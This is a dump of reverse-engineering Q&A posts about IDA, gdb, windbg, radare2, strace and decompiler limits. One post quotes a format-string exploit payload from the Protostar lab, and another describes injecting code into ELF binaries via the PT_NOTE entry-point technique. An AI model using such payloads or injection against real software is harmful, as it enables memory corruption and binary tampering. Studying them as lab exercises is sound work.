  <row Id="25619" PostTypeId="1" CreationDate="2020-08-06T21:45:59.740" Score="-1" ViewCount="681" Body="&lt;p&gt;, Hello. to learn reverse engineering, I would like to simply change a string via IDA.&#xA;I select my string, get the adress, and select Change Bytes to get the Hex value :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xucUI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xucUI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After That, I try to convert this Hexa value to string, via this website : &lt;a href=&quot;https://www.mobilefish.com/services/latin_utf_base64_to_hex/latin_utf_base64_to_hex.php#text_hex_output&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mobilefish.com/services/latin_utf_base64_to_hex/latin_utf_base64_to_hex.php#text_hex_output&lt;/a&gt;&#xA;And the result is not the same,&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B344E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B344E.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do you known how to get the complete Hex value from my string ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="34063" LastActivityDate="2022-05-30T02:08:05.880" Title="IDA hex != String" Tags="|ida|hex|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25621" PostTypeId="1" CreationDate="2020-08-07T03:40:38.653" Score="0" ViewCount="54" Body="&lt;p&gt;I am new to ida pro and idapython&#xA;In the following case i want to find the string reference &amp;quot;x is less than zero&amp;quot; while processing a block.&#xA;Tested with following script but doesn't seems to works!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        b = &amp;lt;ida_gdl.qbasic_block_t; proxy of &amp;lt;Swig Object of type 'qbasic_block_t *' at 0x0000026C1A40F6C0&amp;gt; &amp;gt;  #Basic block object       &#xA;        for head in Heads(b.start_ea, b.end_ea):&#xA;            print (DataRefsFrom(head))&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000000000401599                 add     rax, 3&#xA;.text:000000000040159D                 shr     rax, 2&#xA;.text:00000000004015A1                 shl     rax, 2&#xA;.text:00000000004015A5                 mov     [rbp-40h+var_20], rax&#xA;.text:00000000004015A9                 cmp     [rbp-40h+arg_0], 0&#xA;.text:00000000004015AD                 jns     short loc_4015BB&#xA;|------------------------------------------------------------------------------------------------|&#xA;|.text:00000000004015AF                 lea     rcx, Format     ; &amp;quot;x is less than zero&amp;quot;          |&#xA;|------------------------------------------------------------------------------------------------|&#xA;.text:00000000004015B6                 call    printf&#xA;.text:00000000004015BB&#xA;.text:00000000004015BB loc_4015BB:                             ; CODE XREF: allocatebuffer(int)+7D↑j&#xA;.text:00000000004015BB                 mov     eax, 1&#xA;.text:00000000004015C0                 mov     rsp, rbx&#xA;.text:00000000004015C3                 lea     rsp, [rbp-48h]&#xA;.text:00000000004015C7                 pop     rbx&#xA;.text:00000000004015C8                 pop     rbp&#xA;.text:00000000004015C9                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33339" LastActivityDate="2020-08-07T03:40:38.653" Title="Using IDAPython Problem in finding string avalilable in .idata section" Tags="|ida|idapython|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25622" PostTypeId="2" ParentId="25606" CreationDate="2020-08-07T22:02:52.083" Score="1" Body="&lt;p&gt;have you considered the possibility that it might be using the &lt;strong&gt;&lt;a href=&quot;https://doc.rust-lang.org/std/primitive.str.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;str&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;instead of &lt;strong&gt;&lt;a href=&quot;https://doc.rust-lang.org/std/string/struct.String.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;String&lt;/a&gt;&lt;/strong&gt; which only has length and no capacity and&lt;br /&gt;&#xA;you are looking at a bogus third value ?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat main.rs&#xA;fn main() {&#xA;        let s1 = String::from(&amp;quot;Hello, std::world!&amp;quot;);&#xA;    println!(&amp;quot;{}&amp;quot;,s1);&#xA;        println!(&amp;quot;{} {}&amp;quot;,s1.capacity() , s1.len());&#xA;        let s2 = &amp;quot;Hello, std::world!o&amp;quot;;&#xA;    println!(&amp;quot;{}&amp;quot;,s2);&#xA;        println!(&amp;quot;{} {}&amp;quot;,s2.capacity() , s2.len());&#xA;}&#xA;:\&amp;gt;cargo build&#xA;   Compiling hello_world v0.1.0 &#xA;error[E0599]: no method named `capacity` found for reference `&amp;amp;str` in the current scope&#xA; --&amp;gt; main.rs:7:22&#xA;  |&#xA;7 |     println!(&amp;quot;{} {}&amp;quot;,s2.capacity() , s2.len());&#xA;  |                         ^^^^^^^^ method not found in `&amp;amp;str`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;like shown below for the first string&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dv /v &#xA;00000064`f0cff920              s2 = struct str*&#xA;00000064`f0cff8c0              s1 = &amp;quot;Hello, std::world!&amp;quot;&#xA;0:000&amp;gt; dpa 00000064`f0cff920 l3&#xA;00000064`f0cff920  00007ff6`65cf2638 &amp;quot;Hello, std::world!o&amp;quot;&#xA;00000064`f0cff928  00000000`00000013&#xA;00000064`f0cff930  00000000`00000010  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;  bogus garbage &#xA;0:000&amp;gt; dpa 00000064`f0cff8c0 l3&#xA;00000064`f0cff8c0  00000174`116191f0 &amp;quot;Hello, std::world!..............................&amp;quot;&#xA;00000064`f0cff8c8  00000000`00000012&#xA;00000064`f0cff8d0  00000000`00000012  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; correct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-08-07T22:02:52.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25623" PostTypeId="2" ParentId="25619" CreationDate="2020-08-07T22:24:20.480" Score="1" Body="&lt;p&gt;where is the problem the hex bytes Were Converted properly&lt;br /&gt;&#xA;45 00 =E , 6d 00 == m,......73 00 == s&lt;br /&gt;&#xA;and that is what is shown in your screen shot&lt;/p&gt;&#xA;&lt;p&gt;if you need the hex for the complete string select all the bytes of the string&lt;/p&gt;&#xA;&lt;p&gt;try synchronizing between IDA Hex-View and Ida View windows or try clicking the small down arrow to see if all the bytes are shown in the popup&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-08-07T22:24:20.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25624" PostTypeId="2" ParentId="25615" CreationDate="2020-08-07T22:56:47.197" Score="2" Body="&lt;p&gt;use &lt;strong&gt;im&lt;/strong&gt; to get the type and state&lt;/p&gt;&#xA;&lt;p&gt;they are not deciphered like windbg can but you can get the flags&lt;/p&gt;&#xA;&lt;p&gt;radare2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x7ff6c5153380]&amp;gt; im~0xcf39d2c000&#xA;0xcf39d2c000 +0x4000 rw- paddr=0x0000959e state=0x00001000 type=0x00020000 allocation_protect=0x00000004 Memory_Section&#xA;[0x7ff6c5153380]&amp;gt; iS~0xcf39d2c000&#xA;2   0x0000959e    0x4000 0xcf39d2c000      0x4000 -rw- Memory_Section_2&#xA;[0x7ff6c5153380]&amp;gt;       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;windbg&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:003&amp;gt; !vprot cf`39d2c000&#xA;BaseAddress:       000000cf39d2c000&#xA;AllocationBase:    000000cf39cb0000&#xA;AllocationProtect: 00000004  PAGE_READWRITE&#xA;RegionSize:        0000000000004000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000004  PAGE_READWRITE&#xA;Type:              00020000  MEM_PRIVATE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;these are returned by calling VirtualQuery/Ex API 's&lt;/p&gt;&#xA;&lt;p&gt;MEMORY_BASIC_INFORMATION&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-08-08T05:18:57.217" LastActivityDate="2020-08-08T05:18:57.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25625" PostTypeId="2" ParentId="25616" CreationDate="2020-08-07T23:14:04.270" Score="4" Body="&lt;p&gt;gdb is primarily a Source Level Debugger&lt;/p&gt;&#xA;&lt;p&gt;to set a bp on an address instead of symbol use *&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break main&#xA;Breakpoint 1 at 0x100401094: file mingtest.cpp, line 4.&#xA;(gdb) break *0x100401094&#xA;Note: breakpoint 1 also set at pc 0x100401094.&#xA;Breakpoint 2 at 0x100401094: file mingtest.cpp, line 4.&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you can disassemble using address, length at any arbitrary addresss&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disassemble 0x100401094,+0x10&#xA;Dump of assembler code from 0x100401094 to 0x1004010a4:&#xA;   0x0000000100401094 &amp;lt;main(int, char**)+20&amp;gt;:   mov    edx,DWORD PTR [rbp+0x10]&#xA;   0x0000000100401097 &amp;lt;main(int, char**)+23&amp;gt;:   lea    rcx,[rip+0x1f62]        # 0x100403000&#xA;   0x000000010040109e &amp;lt;main(int, char**)+30&amp;gt;:   call   0x100401110 &amp;lt;printf&amp;gt;&#xA;   0x00000001004010a3 &amp;lt;main(int, char**)+35&amp;gt;:   mov    DWORD PTR [rbp-0x4],0x0&#xA;End of assembler dump.&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-08-07T23:14:04.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25628" PostTypeId="2" ParentId="25612" CreationDate="2020-08-08T15:44:39.877" Score="2" Body="&lt;p&gt;It's look like data from a wav file&lt;/p&gt;&#xA;&lt;p&gt;Try to use free software Audacity&lt;br /&gt;&#xA;File -&amp;gt; Import -&amp;gt; Raw Data...&#xA;Encoding : 16bit pcm, or 8bit or ...&#xA;Byte order Little Endian ,&#xA;Channels : 1 Mono,&#xA;Start offset : 0 bytes ,&#xA;Amount to import : 100%&#xA;Sample rate 16000 Hz. or 8000 or ...&lt;/p&gt;&#xA;&lt;p&gt;if it doesn't work it would be interesting to have the name of the software&#xA;that produces these vx8 files and if possible a complete file&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-08-08T15:44:39.877" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25629" PostTypeId="1" CreationDate="2020-08-08T20:51:28.930" Score="1" ViewCount="129" Body="&lt;p&gt;I'm trying to statically patching ELF binaries in order to incorporate code that can help provide run-time protection.&lt;/p&gt;&#xA;&lt;p&gt;In an effort to save time writing and debugging assembly, I took the following no-deps C code that does a simple &lt;code&gt;LD_PRELOAD&lt;/code&gt; detection and compiled it as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char *argv[], char **environ)&#xA;{&#xA;    int i, j;&#xA;    char env[] = &amp;quot;LD_PRELOAD&amp;quot;;&#xA;    for(i = 0; environ[i]; i++)&#xA;    {   &#xA;        for(j = 0; env[j] != '\0' &amp;amp;&amp;amp; environ[i][j] != '\0'; j++)&#xA;            if(env[j] != environ[i][j])&#xA;                break;&#xA;&#xA;        if(env[j] == '\0')&#xA;        {&#xA;            return 1;&#xA;        }&#xA;    }   &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;# compile to object file&#xA;$ gcc -fno-asynchronous-unwind-tables -fno-stack-protector -s -c -o detect.o detect.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With the object file, I then translate to NASM, cleanup and patch:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# translate to NASM with objconv&#xA;$ objconv -fnasm detect.o&#xA;&#xA;# ... clean up nasm file&#xA;# compile as flat binary&#xA;$ nasm -f bin detect.asm&#xA;&#xA;# ...inject using PT_NOTE technique and patching entry point&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The cleaned-up assembly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BITS 64&#xA;&#xA;SECTION .text&#xA;global main&#xA;&#xA;main:&#xA;        push    rbp                                     ; 0000 _ 55&#xA;        mov     rbp, rsp                                ; 0001 _ 48: 89. E5&#xA;        mov     dword [rbp-24H], edi                    ; 0004 _ 89. 7D, DC&#xA;        mov     qword [rbp-30H], rsi                    ; 0007 _ 48: 89. 75, D0&#xA;        mov     qword [rbp-38H], rdx                    ; 000B _ 48: 89. 55, C8&#xA;        mov     rax, qword 4F4C4552505F444CH            ; 000F _ 48: B8, 4F4C4552505F444C&#xA;        mov     qword [rbp-13H], rax                    ; 0019 _ 48: 89. 45, ED&#xA;; Note: Length-changing prefix causes delay on Intel processors&#xA;        mov     word [rbp-0BH], 17473                   ; 001D _ 66: C7. 45, F5, 4441&#xA;        mov     byte [rbp-9H], 0                        ; 0023 _ C6. 45, F7, 00&#xA;        mov     dword [rbp-4H], 0                       ; 0027 _ C7. 45, FC, 00000000&#xA;        jmp     ?_007                                   ; 002E _ E9, 0000008D&#xA;&#xA;?_001:  mov     dword [rbp-8H], 0                       ; 0033 _ C7. 45, F8, 00000000&#xA;        jmp     ?_003                                   ; 003A _ EB, 34&#xA;&#xA;?_002:  mov     eax, dword [rbp-8H]                     ; 003C _ 8B. 45, F8&#xA;        cdqe                                            ; 003F _ 48: 98&#xA;        movzx   edx, byte [rbp+rax-13H]                 ; 0041 _ 0F B6. 54 05, ED&#xA;        mov     eax, dword [rbp-4H]                     ; 0046 _ 8B. 45, FC&#xA;        cdqe                                            ; 0049 _ 48: 98&#xA;        lea     rcx, [rax*8]                            ; 004B _ 48: 8D. 0C C5, 00000000&#xA;        mov     rax, qword [rbp-38H]                    ; 0053 _ 48: 8B. 45, C8&#xA;        add     rax, rcx                                ; 0057 _ 48: 01. C8&#xA;        mov     rcx, qword [rax]                        ; 005A _ 48: 8B. 08&#xA;        mov     eax, dword [rbp-8H]                     ; 005D _ 8B. 45, F8&#xA;        cdqe                                            ; 0060 _ 48: 98&#xA;        add     rax, rcx                                ; 0062 _ 48: 01. C8&#xA;        movzx   eax, byte [rax]                         ; 0065 _ 0F B6. 00&#xA;        cmp     dl, al                                  ; 0068 _ 38. C2&#xA;        jnz     ?_004                                   ; 006A _ 75, 3A&#xA;        add     dword [rbp-8H], 1                       ; 006C _ 83. 45, F8, 01&#xA;?_003:  mov     eax, dword [rbp-8H]                     ; 0070 _ 8B. 45, F8&#xA;        cdqe                                            ; 0073 _ 48: 98&#xA;        movzx   eax, byte [rbp+rax-13H]                 ; 0075 _ 0F B6. 44 05, ED&#xA;        test    al, al                                  ; 007A _ 84. C0&#xA;        jz      ?_005                                   ; 007C _ 74, 29&#xA;        mov     eax, dword [rbp-4H]                     ; 007E _ 8B. 45, FC&#xA;        cdqe                                            ; 0081 _ 48: 98&#xA;        lea     rdx, [rax*8]                            ; 0083 _ 48: 8D. 14 C5, 00000000&#xA;        mov     rax, qword [rbp-38H]                    ; 008B _ 48: 8B. 45, C8&#xA;        add     rax, rdx                                ; 008F _ 48: 01. D0&#xA;        mov     rdx, qword [rax]                        ; 0092 _ 48: 8B. 10&#xA;        mov     eax, dword [rbp-8H]                     ; 0095 _ 8B. 45, F8&#xA;        cdqe                                            ; 0098 _ 48: 98&#xA;        add     rax, rdx                                ; 009A _ 48: 01. D0&#xA;        movzx   eax, byte [rax]                         ; 009D _ 0F B6. 00&#xA;        test    al, al                                  ; 00A0 _ 84. C0&#xA;        jnz     ?_002                                   ; 00A2 _ 75, 98&#xA;        jmp     ?_005                                   ; 00A4 _ EB, 01&#xA;&#xA;?_004:  nop                                             ; 00A6 _ 90&#xA;?_005:  mov     eax, dword [rbp-8H]                     ; 00A7 _ 8B. 45, F8&#xA;        cdqe                                            ; 00AA _ 48: 98&#xA;        movzx   eax, byte [rbp+rax-13H]                 ; 00AC _ 0F B6. 44 05, ED&#xA;        test    al, al                                  ; 00B1 _ 84. C0&#xA;        jnz     ?_006                                   ; 00B3 _ 75, 07&#xA;        mov     eax, 1                                  ; 00B5 _ B8, 00000001&#xA;        jmp     ?_008                                   ; 00BA _ EB, 29&#xA;&#xA;?_006:  add     dword [rbp-4H], 1                       ; 00BC _ 83. 45, FC, 01&#xA;?_007:  mov     eax, dword [rbp-4H]                     ; 00C0 _ 8B. 45, FC&#xA;        cdqe                                            ; 00C3 _ 48: 98&#xA;        lea     rdx, [rax*8]                            ; 00C5 _ 48: 8D. 14 C5, 00000000&#xA;        mov     rax, qword [rbp-38H]                    ; 00CD _ 48: 8B. 45, C8&#xA;        add     rax, rdx                                ; 00D1 _ 48: 01. D0&#xA;        mov     rax, qword [rax]                        ; 00D4 _ 48: 8B. 00&#xA;        test    rax, rax                                ; 00D7 _ 48: 85. C0&#xA;        jne     ?_001                                   ; 00DA _ 0F 85, FFFFFF53&#xA;        mov     eax, 0                                  ; 00E0 _ B8, 00000000&#xA;?_008:  pop     rbp                                     ; 00E5 _ 5D&#xA;        push    &amp;lt;ENTRY_POINT_ADDR&amp;gt;&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This process is all fine and good, but once actually running the patched executable, the binary falls short and segfaults at this instruction:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; →   0x80022d                  movzx  eax, BYTE PTR [rax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have also tried compiling with varying optimization levels, and directly using &lt;code&gt;ld&lt;/code&gt; instead of NASM to create a flat binary, as mentioned &lt;a href=&quot;https://stackoverflow.com/questions/1647359/is-there-a-way-to-get-gcc-to-output-raw-binary&quot;&gt;here&lt;/a&gt;, but these all still result in segfaults. Compiling and running the cleaned-up assembly as an &lt;code&gt;elf64&lt;/code&gt; works fine, so I must be missing something. Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="34079" LastEditorUserId="34079" LastEditDate="2020-08-08T21:58:09.513" LastActivityDate="2020-08-08T21:58:09.513" Title="Statically injecting translated NASM assembly into existing ELF binary" Tags="|assembly|elf|static-analysis|patching|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25631" PostTypeId="1" CreationDate="2020-08-09T08:07:14.753" Score="0" ViewCount="83" Body="&lt;p&gt;I'm disassembling a Microsoft dll in IDA Pro, and there's one point where a value is loaded to a register from a location that has never been written to (it's the first location on the variables stack):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     rsi, [rbp+0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When debugging I can see that the location is cleared (zero), but how can this be assumed?&lt;/p&gt;&#xA;&lt;p&gt;Here's the entry point:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char __fastcall untfs_NTFS_SA::CreateElementaryStructures(NTFS_SA *this, struct NTFS_BITMAP *bmp_1, unsigned int sectors_per_cluster, unsigned int bytes_per_record_1, unsigned int sector_size_param, unsigned int a6_always_0, const struct NUMBER_SET *number_set, char NoUpgrade, unsigned __int8 ShortNames, char TxF, unsigned __int8 always_0?, char DAX, unsigned int HeatGatheringDisableFlag, struct MESSAGE *a14, struct BIOS_PARAMETER_BLOCK *a15, const struct WSTRING *a16, unsigned __int8 RepairLogs)&#xA; push    rbp&#xA; push    rbx&#xA; push    rsi&#xA; push    rdi&#xA; push    r12&#xA; push    r13&#xA; push    r14&#xA; push    r15&#xA; lea     rbp, [rsp-1DC8h]&#xA; mov     eax, 1EC8h&#xA; call    _alloca_probe&#xA; sub     rsp, rax&#xA; mov     rax, cs:__security_cookie&#xA; xor     rax, rsp&#xA; mov     [rbp+1E00h+var_50], rax&#xA; mov     eax, dword ptr [rbp+1E00h+a6_always_0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29995" LastEditorUserId="29995" LastEditDate="2020-08-20T10:12:18.493" LastActivityDate="2020-08-20T10:12:18.493" Title="Access to variable never stored to" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25632" PostTypeId="1" CreationDate="2020-08-09T12:04:48.083" Score="2" ViewCount="224" Body="&lt;p&gt;I see a string being output to my Terminal, when I ran an executable. I have the source code (in C) of the executable, but it was not written by me. I compiled it with -g flag. Is there any way to know which line in which file resulted in the output, with dtrace, lldb, gdb, or any other means?&lt;/p&gt;&#xA;&lt;p&gt;I am using macOS 10.13. When I ran gdb and the following:&#xA;catch syscall write&lt;/p&gt;&#xA;&lt;p&gt;I got this error:&#xA;The feature 'catch syscall' is not supported on this architecture yet.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way that can achieve my goal?&lt;/p&gt;&#xA;" OwnerUserId="34085" LastActivityDate="2021-01-07T15:06:15.673" Title="Use dtrace, lldb or gdb to find which file or line of code was responsible for a line of output in stdout or stderr?" Tags="|gdb|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25633" PostTypeId="1" AcceptedAnswerId="25651" CreationDate="2020-08-09T16:22:48.407" Score="0" ViewCount="514" Body="&lt;p&gt;&lt;strong&gt;Protostar&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was doing the protostar format string (3rd challenge). where we have to change the value of a variable target with format string buffer overflow. so, I came up to this medium  article: &lt;a href=&quot;https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-format-3-33e8d8f1e83&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, he has described three types of attacks. the second and third ones seem hard to understand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2 byte&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to know that he has divided the target value (0x00000000) into 2 bytes (0000) in the second method. it means that we are splitting the values into two bytes. am I right? and if I am right what is the thing he did for getting the second address of the target(0x80496f6). how could he possibly get that from the real address (0x80496f4)? all I can understand is he might have subtracted 0x2 from the real address(0x80496f4).&#xA;Does the value of the target stores into two addresses?&#xA;His command is :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print &amp;quot;\xf4\x96\x04\x08&amp;quot; + &amp;quot;\xf6\x96\x04\x08&amp;quot; + &amp;quot;%13$hn&amp;quot; + &amp;quot;%12$hn&amp;quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-08-11T03:10:55.393" Title="2 byte format string attacks" Tags="|disassembly|c|buffer-overflow|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25640" PostTypeId="1" CreationDate="2020-08-10T04:10:09.947" Score="3" ViewCount="8289" Body="&lt;p&gt;Dabbler in re here, so potentially a stupid question...&#xA;I know ida, binary ninja, and ghidra are really powerful at generating pseudo code.&#xA;From everything I've read pseudo code can't be edited in realtime but can be edited as assembly, I was just wondering why you couldn't do a similar process to the one below?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;decompile exe to fake code&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;make code template for compiling in c or c++&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;load fake code into template&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;compile basic template and stop at assembly code generation&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy assembly from halfway compiled c++ exe&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;auto replace halfway compiled code as assembly to ida assembly code&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Alternatively,&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;decompile exe to fake code&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;make code template for compiling in c or c++&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;load fake code into template&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;compile basic template and stop at assembly code generation&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;load the function into ida or such with pdb&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;generate fake code for your template exe&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;go to the function and get the assembly from there to copy and replace&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I know this method wouldn't be fast... but I am surprised no one has tried a method like this as far as I'm aware? Am I just missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="27764" LastEditorUserId="13506" LastEditDate="2020-08-13T13:33:15.997" LastActivityDate="2020-08-13T13:33:15.997" Title="Why can't you edit pseudo code?" Tags="|ida|ghidra|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25641" PostTypeId="2" ParentId="25640" CreationDate="2020-08-10T08:10:01.870" Score="8" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;From everything I've read pseudo code can't be edited in realtime but can be edited as assembly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is not entirely correct. Quite the opposite even: Decompilers cannot be perfect (the compilation step looses too much information). Hence they need some help by a human (the reverse engineer). Giving this help is, at least in my opinion, the most important step during reverse engineering: get data types right. Sure, renaming variables helps a lot with readability, but the decompiler doesn't really need it. Changing the type of a variable or function though, feeds information back into the decompiler, which then can run another pass and improve the result. This result can then again further be improved by the human. If I would need to name the most important step during static binary reverse engineering, I would call out this cycle: decompile, re-type, repeat.&lt;/p&gt;&#xA;&lt;p&gt;Now that we got this out of the way, I'll try to address the suggested steps you propose: I am not entirely sure I understand what you mean but I think a huge problem arises in step 2/4:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;make code template for compiling in c or c++&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;code generated by a decompiler is not &lt;em&gt;really&lt;/em&gt; C/C++ code. Formally, it only qualifies as pseudo-code that has a C-like syntax. The differences between valid C and &amp;quot;decompiler C&amp;quot; depends on your decompiler of course (Hex-Rays, Binary Ninja, Ghidra), but to give a simple examples (there are more, many of which are far more serious): If Ghidra's decompiler is not sure what data type a given variable is, it will assign the &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/data/Undefined.html&quot; rel=&quot;noreferrer&quot;&gt;&amp;quot;type&amp;quot; &lt;code&gt;undefined&lt;/code&gt;&lt;/a&gt;. This is not a valid data type in C of course, and hence cannot be compiled into an executable (i.e. step 4 fails).&lt;/p&gt;&#xA;" OwnerUserId="34094" LastEditorUserId="245" LastEditDate="2020-08-10T09:07:28.083" LastActivityDate="2020-08-10T09:07:28.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25644" PostTypeId="2" ParentId="25632" CreationDate="2020-08-10T13:00:36.570" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;strace&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;strace --instruction-pointer --stack-traces -e write ./your-app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will show the place in the binary, for instance:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[00007fe942df6537] write(1, &amp;quot;c&amp;quot;, 1c)     = 1&#xA; &amp;gt; /usr/lib64/libc-2.31.so(write+0x17) [0xf2537]&#xA; &amp;gt; /usr/lib64/libc-2.31.so(_IO_file_write@@GLIBC_2.2.5+0x2c) [0x8285c]&#xA; &amp;gt; /usr/lib64/libc-2.31.so(new_do_write+0x65) [0x81b95]&#xA; &amp;gt; /usr/lib64/libc-2.31.so(_IO_do_write@@GLIBC_2.2.5+0x18) [0x83948]&#xA; &amp;gt; /usr/lib64/libc-2.31.so(_IO_file_sync@@GLIBC_2.2.5+0xa7) [0x819b7]&#xA; &amp;gt; /usr/lib64/libc-2.31.so(_IO_fflush+0x85) [0x76595]&#xA; &amp;gt; /tmp/a.out(main+0x62) [0x4011a8]&#xA; &amp;gt; 